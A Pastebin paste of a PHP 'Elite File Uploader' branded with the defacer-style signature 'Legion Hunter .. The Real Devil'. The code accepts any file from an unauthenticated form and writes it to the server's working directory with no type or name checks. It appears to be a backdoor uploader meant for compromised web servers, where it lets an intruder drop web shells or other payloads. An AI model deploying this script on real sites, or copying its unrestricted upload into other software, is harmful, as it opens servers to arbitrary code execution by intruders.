Advertisement
1337_Brain

ECF File Uploader

Jul 14th, 2014
505
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.19 KB | None | 0 0
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4.    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5.    <title>ECF File Uploader</title>
  6.    <meta name="generator" content="Legion Hunter" />
  7. <meta name="author" content="Legion Hunter" />
  8. <meta name="description" content="[ Its Legion Hunter .. The Real Devil ]" />
  9. <style>
  10. body {
  11.     background: #000000 url(https://lh6.googleusercontent.com/-uRLX3SeDrdI/TjBpUFR5oeI/AAAAAAAAAIo/GYSnWQxGWMc/cok.gif) scroll repeat center center;
  12.     color: silver;
  13.     font-family: Comic Sans MS;
  14.     font-size: 14px;
  15.     font-weight: bold
  16. }
  17. #black{
  18.     text-align: center;
  19.     font-size:14px;
  20.     font-weight: bold;
  21. }
  22. a:link, a:visited {font-weight:normal; text-decoration:none; color:silver;}
  23. a:hover {font-weight:bold; text-decoration:none; cursor:default;}
  24.  
  25. </style>
  26. </head>
  27.  
  28. <body>
  29. <?php
  30.     $myUpload = new maxUpload();
  31.     //$myUpload->setUploadLocation(getcwd().DIRECTORY_SEPARATOR);
  32.     $myUpload->uploadFile();
  33. ?>
  34. <?php
  35.  
  36. class maxUpload{
  37.     var $uploadLocation;
  38.    
  39.  
  40.     function maxUpload(){
  41.         $this->uploadLocation = getcwd().DIRECTORY_SEPARATOR;
  42.     }
  43.  
  44.  
  45.     function setUploadLocation($dir){
  46.         $this->uploadLocation = $dir;
  47.     }
  48.    
  49.     function showUploadForm($msg='',$error=''){
  50. ?>
  51.        <div id="container">
  52.             <center>
  53.             <b>Elite File Uploader</b>
  54.             </center><br/>
  55. <?php
  56. if ($msg != ''){
  57.     echo '<p class="msg">'.$msg.'</p>';
  58. } else if ($error != ''){
  59.     echo '<p class="emsg">'.$error.'</p>';
  60.  
  61. }
  62. ?>
  63.                 <form action="" method="post" enctype="multipart/form-data" >
  64.                      <center>
  65.                          <label><b>File: </b>
  66.                              <input name="myfile" type="file" size="30" />
  67.                          </label>
  68.                          <label>
  69.                              <input type="submit" name="submitBtn" class="sbtn" value="Upload" />
  70.                          </label>
  71.                      </center>
  72.                  </form>
  73.              </div>
  74.          
  75. <?php
  76.     }
  77.  
  78.     function uploadFile(){
  79.         if (!isset($_POST['submitBtn'])){
  80.             $this->showUploadForm();
  81.         } else {
  82.             $msg = '';
  83.             $error = '';
  84.            
  85.             //Check destination directory
  86.             if (!file_exists($this->uploadLocation)){
  87.                 $error = "The target directory doesn't exists!";
  88.             } else if (!is_writeable($this->uploadLocation)) {
  89.                 $error = "The target directory is not writeable!";
  90.             } else {
  91.                 $target_path = $this->uploadLocation . basename( $_FILES['myfile']['name']);
  92.  
  93.                 if(@move_uploaded_file($_FILES['myfile']['tmp_name'], $target_path)) {
  94.                     $msg = basename( $_FILES['myfile']['name']).
  95.                     " was uploaded successfully!";
  96.                 } else{
  97.                     $error = "The upload process failed!";
  98.                 }
  99.             }
  100.  
  101.             $this->showUploadForm($msg,$error);
  102.         }
  103.  
  104.     }
  105.  
  106. }
  107. ?>
  108. </body>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement